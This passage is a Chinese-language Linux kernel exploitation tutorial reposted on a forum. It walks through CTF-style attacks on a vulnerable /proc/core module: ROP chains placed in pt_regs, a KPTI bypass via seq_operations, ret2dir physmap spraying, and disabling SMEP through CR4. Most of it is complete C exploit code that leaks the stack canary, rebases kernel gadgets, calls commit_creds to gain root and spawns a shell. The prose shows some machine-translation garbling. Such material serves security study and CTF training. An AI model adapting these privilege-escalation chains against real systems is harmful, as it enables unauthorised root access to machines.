- rop[it++] = prepare_kernel_cred;
- rop[it++] = pop_rdx_ret;
- rop[it++] = pop_rcx_ret;
- rop[it++] = mov_rdi_rax_call_rdx;
- rop[it++] = commit_creds;
-
- rop[it++] = swapgs_restore_regs_and_return_to_usermode + 0x16;
- rop[it++] = 0;
- rop[it++] = 0;
- rop[it++] = (size_t) get_shell;
- rop[it++] = user_cs;
- rop[it++] = user_rflags;
- rop[it++] = user_sp;
- rop[it++] = user_ss;
-
- core_write(buf, sizeof(buf));
-
- core_copy_func(0xffffffffffff0000 | sizeof(buf));
-
- return 0;
- }
复制代码 使用 pt_regs 构造 rop
qemu启动脚本
- #!/bin/sh
- qemu-system-x86_64 \
- -m 256M \
- -kernel ./bzImage \
- -initrd ./core.cpio \
- -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" \
- -s \
- -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
- -nographic \
- -cpu kvm64,+smep,+smap
复制代码 查看entry_SYSCALL_64 这一用汇编写的函数内部,注意到当程序进入到内核态时,该函数会将全部的寄存器压入内核栈上,形成一个 pt_regs布局体,该布局体实质上位于内核栈底,界说如下:
- struct pt_regs {
- /*
- * C ABI says these regs are callee-preserved. They aren't saved on kernel entry
- * unless syscall needs a complete, fully filled "struct pt_regs".
- */
- unsigned long r15;
- unsigned long r14;
- unsigned long r13;
- unsigned long r12;
- unsigned long rbp;
- unsigned long rbx;
- /* These regs are callee-clobbered. Always saved on kernel entry. */
- unsigned long r11;
- unsigned long r10;
- unsigned long r9;
- unsigned long r8;
- unsigned long rax;
- unsigned long rcx;
- unsigned long rdx;
- unsigned long rsi;
- unsigned long rdi;
- /*
- * On syscall entry, this is syscall#. On CPU exception, this is error code.
- * On hw interrupt, it's IRQ number:
- */
- unsigned long orig_rax;
- /* Return frame for iretq */
- unsigned long rip;
- unsigned long cs;
- unsigned long eflags;
- unsigned long rsp;
- unsigned long ss;
- /* top of stack page */
- };
复制代码 内核栈只有一个页面的巨细,而 pt_regs 布局体则固定位于内核栈栈底,当我们挟制内核布局体中的某个函数指针时(例如 seq_operations->start),在我们通过该函数指针挟制内核实行流时 rsp 与 栈底的相对偏移通常是不变的。
而在体系调用当中过程有很多的寄存器其实是不一定能用上的,好比 r8 ~ r15,这些寄存器为我们布置 ROP 链提供了可能,我们不难想到:只需要探求到一条形如 "add rsp, val ; ret" 的gadget便能够完成ROP,在进入内核态前像寄存器写入一些值,看那些寄存器可以被保存,以便后续写入gadget。
KPTI pass:使用 seq_operations + pt_regs
布局体 seq_operations 的条目如下:
-
- struct seq_operations {
- void * (*start) (struct seq_file *m, loff_t *pos);
- void (*stop) (struct seq_file *m, void *v);
- void * (*next) (struct seq_file *m, void *v, loff_t *pos);
- int (*show) (struct seq_file *m, void *v);
- };
复制代码
- 当我们打开一个 stat 文件时(如 /proc/self/stat)便会在内核空间中分配一个 seq_operations 布局体
- 当我们 read 一个 stat 文件时,内核会调用其 proc_ops 的 proc_read_iter 指针,然后调用 seq_operations->start 函数指针
使用思路
这次我们限制溢出只能覆盖返回地点,此时需要栈迁徙到其他地方构造 rop 。其中一个思路就是在 pt_regs 上构造 rop 。我们在调用 core_copy_func 函数之前先将寄存器设置为几个特别的值,然后再 core_copy_func 函数的返回处下断点。
- __asm__(
- "mov r15, 0x1111111111111111;"
- "mov r14, 0x2222222222222222;"
- "mov r13, 0x3333333333333333;"
- "mov r12, 0x4444444444444444;"
- "mov rbp, 0x5555555555555555;"
- "mov rbx, 0x6666666666666666;"
- "mov r11, 0x7777777777777777;"
- "mov r10, 0x8888888888888888;"
- "mov r9, 0x9999999999999999;"
- "mov r8, 0xaaaaaaaaaaaaaaaa;"
- "mov rcx, 0xbbbbbbbbbbbbbbbb;"
- "mov rax, 0x10;"
- "mov rdx, 0xffffffffffff0050;"
- "mov rsi, 0x6677889A;"
- "mov rdi, core_fd;"
- "syscall"
- );
复制代码 数字没变的寄存器就是我们能够控制的,可以被我们用来写 gadget。
- 0b:0058│ 0xffffc90000113f58 ◂— 0x1111111111111111 ; r15
- 0c:0060│ 0xffffc90000113f60 ◂— 0x2222222222222222 ('""""""""') ; r14
- 0d:0068│ 0xffffc90000113f68 ◂— 0x3333333333333333 ('33333333') ; r13
- 0e:0070│ 0xffffc90000113f70 ◂— 0x4444444444444444 ('DDDDDDDD') ; r12
- 0f:0078│ 0xffffc90000113f78 ◂— 0x5555555555555555 ('UUUUUUUU') ; rbp
- 10:0080│ 0xffffc90000113f80 ◂— 0x6666666666666666 ('ffffffff') ; rsp
- 11:0088│ 0xffffc90000113f88 ◂— 0x207
- 12:0090│ 0xffffc90000113f90 ◂— 0x8888888888888888 ;r10
- 13:0098│ 0xffffc90000113f98 ◂— 0x9999999999999999 ;r9
- 14:00a0│ 0xffffc90000113fa0 ◂— 0xaaaaaaaaaaaaaaaa ;r8
- 15:00a8│ 0xffffc90000113fa8 ◂— 0xffffffffffffffda
- 16:00b0│ 0xffffc90000113fb0 —▸ 0x401566 ◂— lea rax, [rip + 0xbb44]
- 17:00b8│ 0xffffc90000113fb8 ◂— 0xffffffffffff0050 /* 'P' */
- 18:00c0│ 0xffffc90000113fc0 ◂— 0x6677889a
- 19:00c8│ 0xffffc90000113fc8 ◂— 0x614d8e5400000004
- 1a:00d0│ 0xffffc90000113fd0 ◂— 0x10
- 1b:00d8│ 0xffffc90000113fd8 —▸ 0x401566 ◂— lea rax, [rip + 0xbb44]
- 1c:00e0│ 0xffffc90000113fe0 ◂— 0x33 /* '3' */
- 1d:00e8│ 0xffffc90000113fe8 ◂— 0x207
- 1e:00f0│ 0xffffc90000113ff0 —▸ 0x7ffe1d48e620 ◂— 0x0
- 1f:00f8│ 0xffffc90000113ff8 ◂— 0x2b /* '+' */
复制代码 新版本内查对抗使用 pt_regs 进行攻击的办法
内核主线在 这个 commit 中为体系调用栈添加了一个偏移值,这意味着 pt_regs 与我们触发挟制内核实行流时的栈间偏移值不再是固定值:
- diff --git a/arch/x86/entry/common.c b/arch/x86/entry/common.c
- index 4efd39aacb9f2..7b2542b13ebd9 100644
- --- a/arch/x86/entry/common.c
- +++ b/arch/x86/entry/common.c
- @@ -38,6 +38,7 @@
- #ifdef CONFIG_X86_64
- __visible noinstr void do_syscall_64(unsigned long nr, struct pt_regs *regs)
- {
- + add_random_kstack_offset();
- nr = syscall_enter_from_user_mode(regs, nr);
-
- instrumentation_begin();
复制代码 当然,如果在这个随机偏移值较小且我们仍有足够多的寄存器可用的情况下,仍然可以通过布置一些 slide gadget 来继续完成使用,不过稳固性也大幅下降了。
exp
- #include <fcntl.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <unistd.h>
- #include <sys/ioctl.h>
-
- size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
- size_t commit_creds = 0xFFFFFFFF8109C8E0;
- size_t init_cred = 0xFFFFFFFF8223D1A0;
- size_t pop_rdi_ret = 0xffffffff81000b2f;
- size_t add_rsp_0xe8_ret = 0xffffffff816bb966;
- size_t swapgs_restore_regs_and_return_to_usermode = 0xFFFFFFFF81A008DA;
-
- int core_fd;
-
- void core_read(char *buf) {
- ioctl(core_fd, 0x6677889B, buf);
- }
-
- void set_off(size_t off) {
- ioctl(core_fd, 0x6677889C, off);
- }
-
- void core_write(char *buf, size_t len) {
- write(core_fd, buf, len);
- }
-
- void rebase() {
- FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
- if (kallsyms_fd < 0) {
- puts("[-] Failed to open kallsyms.\n");
- exit(-1);
- }
- char name[0x50], type[0x10];
- size_t addr;
- while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
- size_t offset = -1;
- if (!strcmp(name, "commit_creds")) {
- offset = addr - (size_t) commit_creds;
- } else if (!strcmp(name, "prepare_kernel_cred")) {
- offset = addr - (size_t) prepare_kernel_cred;
- }
- if (offset != -1) {
- printf("[*] offset: %p\n", offset);
- commit_creds += offset;
- prepare_kernel_cred += offset;
- init_cred += offset;
- pop_rdi_ret += offset;
- add_rsp_0xe8_ret += offset;
- swapgs_restore_regs_and_return_to_usermode += offset + 8;
- break;
- }
- }
- printf("[*] commit_creds: %p\n", (size_t) commit_creds);
- printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
- }
-
- size_t get_canary() {
- set_off(64);
- char buf[64];
- core_read(buf);
- return *(size_t *) buf;
- }
-
- int main() {
- rebase();
-
- core_fd = open("/proc/core", O_RDWR);
- if (core_fd < 0) {
- puts("[-] Failed to open core.");
- exit(-1);
- }
-
- size_t canary = get_canary();
- printf("[*] canary: %p\n", canary);
-
- char buf[0x100];
- memset(buf, '\x00', sizeof(buf));
- *(size_t *) &buf[64] = canary;
- *(size_t *) &buf[80] = add_rsp_0xe8_ret;
-
- core_write(buf, sizeof(buf));
- __asm__(
- "mov r15, pop_rdi_ret;"
- "mov r14, init_cred;"
- "mov r13, commit_creds;"
- "mov r12, swapgs_restore_regs_and_return_to_usermode;"
- "mov rax, 0x10;"
- "mov rdx, 0xffffffffffff0058;"
- "mov rsi, 0x6677889A;"
- "mov rdi, core_fd;"
- "syscall"
- );
-
- system("/bin/sh");
-
- return 0;
- }
复制代码 实行 add_rsp_0xc8_pop*4_ret 时栈布局,rsp抬高0xc8+0x20后 ret 会实行到我们的 shellcode。

ret2dir
假如 ptregs 所在的内存被修改了导致可控内存变少,我们可以使用 ret2dir 的使用方式将栈迁徙至内核的线性映射区。不同版本内核的线性映射区可以从内核源码文档的mm.txt查看。
ret2dir 是哥伦比亚大学网络安全实行室在 2014 年提出的一种辅助攻击手法,重要用来绕过 smep、smap、pxn 等用户空间与内核空隔断离的防护手段,原论文。 linux 体系有一部门物理内存区域同时映射到用户空间和内核空间的某个物理内存地点。一块区域叫做 direct mapping area,即内核的线性映射区。,这个区域映射了全部的物理内存。我们在用户空间中布置的 gadget 可以通过 direct mapping area 上的地点在内核空间中访问到。
但需要注意的是在新版的内核当中 direct mapping area 已经不再具有可实行权限,因此我们很难再在用户空间直接布置 shellcode 进行使用,但我们仍能通过在用户空间布置 ROP 链的方式完成使用。
使用思路
- 在用户空间大量喷洒我们的gadget: add_rsp_0xe8_ret
- 返回地点覆盖为对应内核版本的线性映射区+0x7000000的位置。
- 使用pt_regs保存的pop_rbp_ret; target_addr; leave;ret 来完成栈迁徙。
- 实行线性映射区的shellcode。
exp
- #include <unistd.h>
- #include <fcntl.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <sys/mman.h>
-
- size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
- size_t commit_creds = 0xFFFFFFFF8109C8E0;
- size_t init_cred = 0xFFFFFFFF8223D1A0;
- size_t pop_rdi_ret = 0xffffffff81000b2f;
- size_t add_rsp_0xe8_ret = 0xffffffff816bb966;
- size_t swapgs_restore_regs_and_return_to_usermode = 0xFFFFFFFF81A008DA;
- size_t retn = 0xFFFFFFFF81003E15;
- size_t pop_rbp_ret = 0xFFFFFFFF812D71EF;
- size_t leave_ret = 0xFFFFFFFF81037384;
-
- const size_t try_hit = 0xffff880000000000+0x7000000;
-
- size_t user_cs, user_rflags, user_sp, user_ss;
- size_t page_size;
- int core_fd;
-
- void core_read(char *buf) {
- ioctl(core_fd, 0x6677889B, buf);
- }
-
- void set_off(size_t off) {
- ioctl(core_fd, 0x6677889C, off);
- }
-
- void core_write(char *buf, size_t len) {
- write(core_fd, buf, len);
- }
-
-
- void save_status()
- {
- __asm__("mov user_cs, cs;"
- "mov user_ss, ss;"
- "mov user_sp, rsp;"
- "pushf;"
- "pop user_rflags;"
- );
- puts("[*]status has been saved.");
- }
-
- void get_shell()
- {
- system("/bin/sh");
- }
-
- size_t get_canary() {
- set_off(64);
- char buf[64];
- core_read(buf);
- return *(size_t *) buf;
- }
-
- void rebase() {
- FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
- if (kallsyms_fd < 0) {
- puts("[-] Failed to open kallsyms.\n");
- exit(-1);
- }
- char name[0x50], type[0x10];
- size_t addr;
- while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
- size_t offset = -1;
- if (!strcmp(name, "commit_creds")) {
- offset = addr - (size_t) commit_creds;
- } else if (!strcmp(name, "prepare_kernel_cred")) {
- offset = addr - (size_t) prepare_kernel_cred;
- }
- if (offset != -1) {
- printf("[*] offset: %p\n", offset);
- commit_creds += offset;
- prepare_kernel_cred += offset;
- init_cred += offset;
- pop_rdi_ret += offset;
- add_rsp_0xe8_ret += offset;
- swapgs_restore_regs_and_return_to_usermode += offset;
- pop_rbp_ret += offset;
- leave_ret += offset;
- retn += offset;
- break;
- }
- }
- printf("[*] commit_creds: %p\n", (size_t) commit_creds);
- printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
- }
-
- void physmap()
- {
- core_fd = open("/proc/core", O_RDWR);
- if (core_fd < 0) {
- puts("[-] Error: open core");
- }
- page_size = sysconf(_SC_PAGESIZE);
- printf("[*] page_size %llx", &page_size);
- size_t *rop = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
- int idx = 0;
- while (idx < (page_size / 8 - 0x30)) {
- rop[idx++] = add_rsp_0xe8_ret;
- }
- for (; idx < (page_size / 8 - 0xb); idx++) {
- rop[idx] = retn;
- }
- rop[idx++] = pop_rdi_ret;
- rop[idx++] = init_cred;
- rop[idx++] = commit_creds;
- rop[idx++] = swapgs_restore_regs_and_return_to_usermode + 0x16;
- rop[idx++] = 0x0000000000000000;
- rop[idx++] = 0x0000000000000000;
- rop[idx++] = (size_t) get_shell;
- rop[idx++] = user_cs;
- rop[idx++] = user_rflags;
- rop[idx++] = user_sp;
- rop[idx++] = user_ss;
- puts("[*] Spraying physmap...");
- for (int i = 1; i < 15000; i++) {
- size_t *page = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
- memcpy(page, rop, page_size);
- }
- puts("[*] trigger physmap one_gadget...");
- }
-
- int main()
- {
- rebase();
- save_status();
- physmap();
-
- size_t canary = get_canary();
- printf("[*] canary: %p\n", canary);
-
- char buf[0x100];
- memset(buf, 'a', sizeof(buf));
- *(size_t *) &buf[0x40] = canary;
- *(size_t *) &buf[0x50] = add_rsp_0xe8_ret;
-
- core_write(buf, sizeof(buf));
- __asm__(
- "mov r15, pop_rbp_ret;"
- "mov r14, try_hit;"
- "mov r13, leave_ret;"
- "mov rax, 0x10;"
- "mov rdx, 0xffffffffffff0058;"
- "mov rsi, 0x6677889A;"
- "mov rdi, core_fd;"
- "syscall"
- );
- return 0;
- }
复制代码 流程
(1)修改返回地点为线性映射区的地点,大概率会实行到add_rsp_0xe8_ret将栈抬升到pt_regs处,实行我们负责栈迁徙的shell_code。
(2)将栈迁徙到我们目的地点后,大量的slider gadget将栈不停抬升到get_root代码处,完成提权。
kernel rop + ret2user
使用思路
这种方法实际上是将前两种方法联合起来,同样可以绕过 smap 和 smep 保护。大体思路是先使用 rop 设置 cr4 为 0x6f0 (这个值可以通过用 cr4 原始值 & 0xFFFFF 得到)关闭 smep , 然后 iret 到用户空间去实行提权代码。
例如,当
- $CR4 = 0x1407f0 = 000 1 0100 0000 0111 1111 0000
复制代码 时,smep 保护开启。而 CR4 寄存器是可以通过 mov 指令修改的,因此只需要
- mov cr4, 0x1407e0
- # 0x1407e0 = 101 0 0000 0011 1111 00000
复制代码 即可关闭 smep 保护。
搜刮一下从 vmlinux 中提取出的 gadget,很轻易就能到达这个目的。
- 如何查看 CR4 寄存器的值?
gdb 无法查看 cr4 寄存器的值,可以通过kernel crash 时的信息查看。为了关闭 smep 保护,常用一个固定值 0x6f0,即 mov cr4, 0x6f0。
exp
注意这里 smap 保护不能直接关闭,因此不能像前面 ret2usr 那样直接在 exp 中写入 trap frame 然后栈迁徙到 trap frame 的地点,而是在 rop 中构造 trap frame 布局
- #include <fcntl.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <sys/types.h>
- #include <unistd.h>
- #include <sys/ioctl.h>
-
- #define KERNCALL __attribute__((regparm(3)))
-
- void *(*prepare_kernel_cred)(void *) KERNCALL = (void *) 0xFFFFFFFF8109CCE0;
-
- void *(*commit_creds)(void *) KERNCALL = (void *) 0xFFFFFFFF8109C8E0;
-
- void *init_cred = (void *) 0xFFFFFFFF8223D1A0;
- size_t pop_rdi_ret = 0xffffffff81000b2f;
- size_t pop_rdx_ret = 0xffffffff810a0f49;
- size_t pop_rcx_ret = 0xffffffff81021e53;
- size_t mov_cr4_rdi_ret = 0xffffffff81075014;
- size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a;
- size_t swapgs_popfq_ret = 0xffffffff81a012da;
- size_t iretq = 0xffffffff81050ac2;
-
- void get_shell()
- {
- system("/bin/sh");
- }
-
- size_t user_cs, user_rflags, user_sp, user_ss;
-
- void save_status() {
- __asm__("mov user_cs, cs;"
- "mov user_ss, ss;"
- "mov user_sp, rsp;"
- "pushf;"
- "pop user_rflags;");
- puts("[*] status has been saved.");
- }
-
- void get_root() {
- commit_creds(prepare_kernel_cred(0));
- }
-
- int core_fd;
-
- void core_read(char *buf) {
- ioctl(core_fd, 0x6677889B, buf);
- }
-
- void set_off(size_t off) {
- ioctl(core_fd, 0x6677889C, off);
- }
-
- void core_copy_func(size_t len) {
- ioctl(core_fd, 0x6677889A, len);
- }
-
- void core_write(char *buf, size_t len) {
- write(core_fd, buf, len);
- }
-
- void rebase() {
- FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
- if (kallsyms_fd < 0) {
- puts("[-] Failed to open kallsyms.\n");
- exit(-1);
- }
- char name[0x50], type[0x10];
- size_t addr;
- while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
- size_t offset = -1;
- if (!strcmp(name, "commit_creds")) {
- offset = addr - (size_t) commit_creds;
- } else if (!strcmp(name, "prepare_kernel_cred")) {
- offset = addr - (size_t) prepare_kernel_cred;
- }
- if (offset != -1) {
- printf("[*] offset: %p\n", offset);
- commit_creds = (void *) ((size_t) commit_creds + offset);
- prepare_kernel_cred = (void *) ((size_t) prepare_kernel_cred + offset);
- init_cred = (void *) ((size_t) init_cred + offset);
- pop_rdi_ret += offset;
- pop_rdx_ret += offset;
- pop_rcx_ret += offset;
- mov_rdi_rax_call_rdx += offset;
- swapgs_popfq_ret += offset;
- iretq += offset;
- break;
- }
- }
- printf("[*] commit_creds: %p\n", (size_t) commit_creds);
- printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
- }
-
- size_t get_canary() {
- set_off(64);
- char buf[64];
- core_read(buf);
- return *(size_t *) buf;
- }
-
- int main() {
- save_status();
- rebase();
-
- core_fd = open("/proc/core", O_RDWR);
- if (core_fd < 0) {
- puts("[-] Failed to open core.");
- exit(-1);
- }
-
- size_t canary = get_canary();
- printf("[*] canary: %p\n", canary);
-
- char buf[0x100];
- memset(buf, 'a', sizeof(buf));
- *(size_t *) &buf[64] = canary;
-
- size_t *rop = (size_t *) &buf[80], it = 0;
-
-
- rop[it++] = pop_rdi_ret;
- rop[it++] = 0x00000000000006f0;
- rop[it++] = mov_cr4_rdi_ret;
- rop[it++] = (size_t) get_root;
- rop[it++] = swapgs_popfq_ret;
- rop[it++] = 0;
- rop[it++] = iretq;
- rop[it++] = (size_t) get_shell;
- rop[it++] = user_cs;
- rop[it++] = user_rflags;
- rop[it++] = user_sp;
- rop[it++] = user_ss;
-
- core_write(buf, sizeof(buf));
-
- core_copy_func(0xffffffffffff0000 | sizeof(buf));
-
- return 0;
- }
复制代码
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |